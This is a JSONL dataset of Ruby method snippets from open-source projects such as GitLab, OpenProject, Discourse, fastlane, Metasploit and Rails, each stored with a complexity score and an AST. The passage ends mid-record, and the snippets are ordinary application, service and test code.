{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/oauth_connections_helpers.rb","start_line":4,"raw_source":"def mock_one_drive_authorization_validation(with: {})\n    me_response = {\n      businessPhones: [\n        \"+45 123 4567 8901\"\n      ],\n      displayName: \"Sheev Palpatine \",\n      givenName: \"Sheev\",\n      jobTitle: \"Galactic Senator\",\n      mail: \"palpatine@senate.com\",\n      mobilePhone: \"+45 123 4567 8901\",\n      officeLocation: \"500 Republica\",\n      preferredLanguage: \"en-US\",\n      surname: \"Palpatine\",\n      userPrincipalName: \"palpatine@senate.com\",\n      id: \"87d349ed-44d7-43e1-9a83-5f2406dee5bd\"\n    }.to_json\n\n    stub = stub_request(:get, \"https://graph.microsoft.com/v1.0/me\")\n      .to_return(status: 200, body: me_response, headers: { \"Content-Type\" => \"application/json\" })\n\n    if with.present?\n      stub.with(with)\n    end\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"mock_one_drive_authorization_validation\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"with\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"me_response\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"businessPhones\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"+45 123 4567 8901\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"displayName\"]},{\"type\":\"str\",\"children\":[\"Sheev Palpatine \"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"givenName\"]},{\"type\":\"str\",\"children\":[\"Sheev\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jobTitle\"]},{\"type\":\"str\",\"children\":[\"Galactic Senator\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mail\"]},{\"type\":\"str\",\"children\":[\"palpatine@senate.com\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mobilePhone\"]},{\"type\":\"str\",\"children\":[\"+45 123 4567 8901\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"officeLocation\"]},{\"type\":\"str\",\"children\":[\"500 Republica\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"preferredLanguage\"]},{\"type\":\"str\",\"children\":[\"en-US\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"surname\"]},{\"type\":\"str\",\"children\":[\"Palpatine\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userPrincipalName\"]},{\"type\":\"str\",\"children\":[\"palpatine@senate.com\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"87d349ed-44d7-43e1-9a83-5f2406dee5bd\"]}]}]},\"to_json\"]}]},{\"type\":\"lvasgn\",\"children\":[\"stub\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"str\",\"children\":[\"https://graph.microsoft.com/v1.0/me\"]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"lvar\",\"children\":[\"me_response\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"with\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stub\"]},\"with\",{\"type\":\"lvar\",\"children\":[\"with\"]}]},null]}]}]}","id":"59d62b47-1d3e-4de1-8066-572d047abc68"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/cert/spec/spec_helper.rb","start_line":3,"raw_source":"def stub_certificate(name = \"certificate\", valid = true)\n  name.tap do |cert|\n    allow(cert).to receive(:id).and_return(\"cert_id\")\n    allow(cert).to receive(:valid?).and_return(valid)\n    allow(cert).to receive(:display_name).and_return(\"name\")\n    allow(cert).to receive(:certificate_content).and_return(Base64.encode64(\"download_raw\"))\n  end\nend","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_certificate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"str\",\"children\":[\"certificate\"]}]},{\"type\":\"optarg\",\"children\":[\"valid\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cert\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"cert\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"and_return\",{\"type\":\"str\",\"children\":[\"cert_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"cert\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"valid?\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"valid\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"cert\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"display_name\"]}]},\"and_return\",{\"type\":\"str\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"cert\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"certificate_content\"]}]},\"and_return\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Base64\"]},\"encode64\",{\"type\":\"str\",\"children\":[\"download_raw\"]}]}]}]}]}]}]}","id":"b79f8ea1-131e-4e47-b54a-a9132e3fa997"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/composer.rb","start_line":244,"raw_source":"def has_no_form_template_chooser?\n        page.has_no_css?(FORM_TEMPLATE_CHOOSER_SELECTOR)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"has_no_form_template_chooser?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"has_no_css?\",{\"type\":\"const\",\"children\":[null,\"FORM_TEMPLATE_CHOOSER_SELECTOR\"]}]}]}","id":"b27dd631-e38f-4246-980f-08f909d9d069"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issue_email_participants/create_service.rb","start_line":61,"raw_source":"def log_above_limit_count(above_limit_count)\n      Gitlab::ApplicationContext.with_context(related_class: self.class.to_s, user: current_user, project: project) do\n        Gitlab::AppLogger.info({ above_limit_count: above_limit_count })\n      end\n    end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"log_above_limit_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"above_limit_count\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ApplicationContext\"]},\"with_context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"related_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"AppLogger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"above_limit_count\"]},{\"type\":\"lvar\",\"children\":[\"above_limit_count\"]}]}]}]}]}]}","id":"01d73782-5e00-40fa-858c-a4eda7fe4c7e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/groups/agnostic_token_revocation_service.rb","start_line":69,"raw_source":"def handle_personal_access_token\n      return error('PAT not found') unless revocable\n\n      if user_has_group_membership?(revocable.user)\n        # Only revoke active tokens. (Ignore expired tokens)\n        token.revoke!(current_user) if revocable.active?\n\n        # Always validate that, if we're returning token info, it\n        # has been successfully revoked\n        return success(revocable, 'PersonalAccessToken') if revocable.reset.revoked?\n      end\n\n      # If we get here the token exists but either:\n      #  - didn't belong to the group or descendants\n      #  - did, but was already expired\n      #  - does and is active, but revocation failed for some reason\n      error('PAT revocation failed')\n    end","complexity_score":25.0,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_personal_access_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"PAT not found\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_has_group_membership?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable\"]},\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable\"]},\"active?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"token\"]},\"revoke!\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable\"]},\"reset\"]},\"revoked?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"success\",{\"type\":\"send\",\"children\":[null,\"revocable\"]},{\"type\":\"str\",\"children\":[\"PersonalAccessToken\"]}]}]},null]}]},null]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"str\",\"children\":[\"PAT revocation failed\"]}]}]}]}","id":"9d17385d-f639-48c4-9114-1208fd07e663"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/podio_item.rb","start_line":99,"raw_source":"def self.post_item(options)\n        auth_config = authenticate(options[:client_id],\n                                   options[:client_secret],\n                                   options[:app_id],\n                                   options[:app_token])\n\n        item_id, item_url = get_item(auth_config,\n                                     options[:identifying_field],\n                                     options[:identifying_value],\n                                     options[:app_id])\n\n        unless options[:other_fields].nil?\n          options[:other_fields].each do |key, value|\n            uri = URI.parse(value)\n            if uri.kind_of?(URI::HTTP)\n              link_embed_id = get_embed_id(auth_config, uri)\n              options[:other_fields].merge!(key => link_embed_id)\n            end\n          end\n          update_item(auth_config, item_id, options[:other_fields])\n        end\n\n        Actions.lane_context[SharedValues::PODIO_ITEM_URL] = item_url\n      end","complexity_score":38.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"post_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auth_config\",{\"type\":\"send\",\"children\":[null,\"authenticate\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"client_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"client_secret\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_token\"]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"item_id\"]},{\"type\":\"lvasgn\",\"children\":[\"item_url\"]}]},{\"type\":\"send\",\"children\":[null,\"get_item\",{\"type\":\"lvar\",\"children\":[\"auth_config\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"identifying_field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"identifying_value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"other_fields\"]}]},\"nil?\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"other_fields\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"HTTP\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link_embed_id\",{\"type\":\"send\",\"children\":[null,\"get_embed_id\",{\"type\":\"lvar\",\"children\":[\"auth_config\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"other_fields\"]}]},\"merge!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"link_embed_id\"]}]}]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"update_item\",{\"type\":\"lvar\",\"children\":[\"auth_config\"]},{\"type\":\"lvar\",\"children\":[\"item_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"other_fields\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Actions\"]},\"lane_context\"]},\"[]=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SharedValues\"]},\"PODIO_ITEM_URL\"]},{\"type\":\"lvar\",\"children\":[\"item_url\"]}]}]}]}","id":"b9e05ab8-2a86-47aa-83da-6787d1838f76"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/base_query.rb","start_line":100,"raw_source":"def remove_filter(name)\n    filters.delete(find_active_filter(name))\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_filter\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filters\"]},\"delete\",{\"type\":\"send\",\"children\":[null,\"find_active_filter\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"82aa081c-e97d-4f06-93f1-8567aee93393"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_core.rb","start_line":53,"raw_source":"def rpc_setg(var, val)\n    framework.datastore[var] = val\n    { \"result\" => \"success\" }\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"rpc_setg\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"var\"]},{\"type\":\"arg\",\"children\":[\"val\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"datastore\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"var\"]},{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"success\"]}]}]}]}]}","id":"0c42fb50-4a2e-448a-91ab-ed56c877985a"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/scheduler/defer.rb","start_line":56,"raw_source":"def later(\n      desc = nil,\n      db = RailsMultisite::ConnectionManagement.current_db,\n      force: true,\n      current_user: nil,\n      &blk\n    )\n      @stats_mutex.synchronize do\n        stats = (@stats[desc] ||= { queued: 0, finished: 0, duration: 0, errors: 0 })\n        stats[:queued] += 1\n      end\n\n      if @async\n        start_thread if !@thread&.alive? && !@paused\n        @queue.push({ site: db, user: current_user, db: db, job: blk, desc: desc }, force: force)\n      else\n        blk.call\n      end\n    end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"later\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"desc\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"db\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailsMultisite\"]},\"ConnectionManagement\"]},\"current_db\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"force\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"current_user\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stats_mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stats\",{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@stats\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"desc\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"queued\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finished\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"duration\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"errors\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"queued\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@async\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@thread\"]},\"alive?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@paused\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"start_thread\"]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@queue\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"site\"]},{\"type\":\"lvar\",\"children\":[\"db\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"db\"]},{\"type\":\"lvar\",\"children\":[\"db\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job\"]},{\"type\":\"lvar\",\"children\":[\"blk\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"desc\"]},{\"type\":\"lvar\",\"children\":[\"desc\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"lvar\",\"children\":[\"force\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"blk\"]},\"call\"]}]}]}]}","id":"d81f686b-3373-4a4a-a4f8-407dfd504fc7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/utils/inline_hash.rb","start_line":39,"raw_source":"def merge_keys(hash, prefix: nil, connector: '.')\n        result = {}\n        pairs =\n          if prefix\n            base_prefix = \"#{prefix}#{connector}\"\n            hash.map { |key, value| [\"#{base_prefix}#{key}\", value] }\n          else\n            hash.to_a\n          end\n\n        until pairs.empty?\n          key, value = pairs.shift\n\n          if value.is_a?(Hash)\n            value.each { |k, v| pairs.unshift [\"#{key}#{connector}#{k}\", v] }\n          else\n            result[key] = value\n          end\n        end\n\n        result\n      end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"kwoptarg\",\"children\":[\"prefix\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"connector\",{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"pairs\",{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base_prefix\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connector\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_prefix\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"to_a\"]}]}]},{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pairs\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\"]},{\"type\":\"lvasgn\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pairs\"]},\"shift\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pairs\"]},\"unshift\",{\"type\":\"array\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]}]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}","id":"2b171578-6106-4418-8245-5c5f4a4cbc7f"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/services/meetings/copy_service.rb","start_line":47,"raw_source":"def call(send_notifications: nil, save: true, copy_agenda: true, copy_attachments: false, attributes: {})\n      if save\n        create(meeting, attributes, send_notifications:, copy_agenda:, copy_attachments:)\n      else\n        build(meeting, attributes)\n      end\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"send_notifications\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"save\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"copy_agenda\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"copy_attachments\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"save\"]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"send\",\"children\":[null,\"meeting\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"send_notifications\"]},{\"type\":\"lvar\",\"children\":[\"send_notifications\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"copy_agenda\"]},{\"type\":\"lvar\",\"children\":[\"copy_agenda\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"copy_attachments\"]},{\"type\":\"lvar\",\"children\":[\"copy_attachments\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"build\",{\"type\":\"send\",\"children\":[null,\"meeting\"]},{\"type\":\"lvar\",\"children\":[\"attributes\"]}]}]}]}","id":"d4704093-1d49-4754-a93f-84dd1cc1418d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/hstore_test.rb","start_line":103,"raw_source":"def test_cast_value_on_write\n    x = Hstore.new tags: { \"bool\" => true, \"number\" => 5 }\n    assert_equal({ \"bool\" => true, \"number\" => 5 }, x.tags_before_type_cast)\n    assert_equal({ \"bool\" => \"true\", \"number\" => \"5\" }, x.tags)\n    x.save\n    assert_equal({ \"bool\" => \"true\", \"number\" => \"5\" }, x.reload.tags)\n  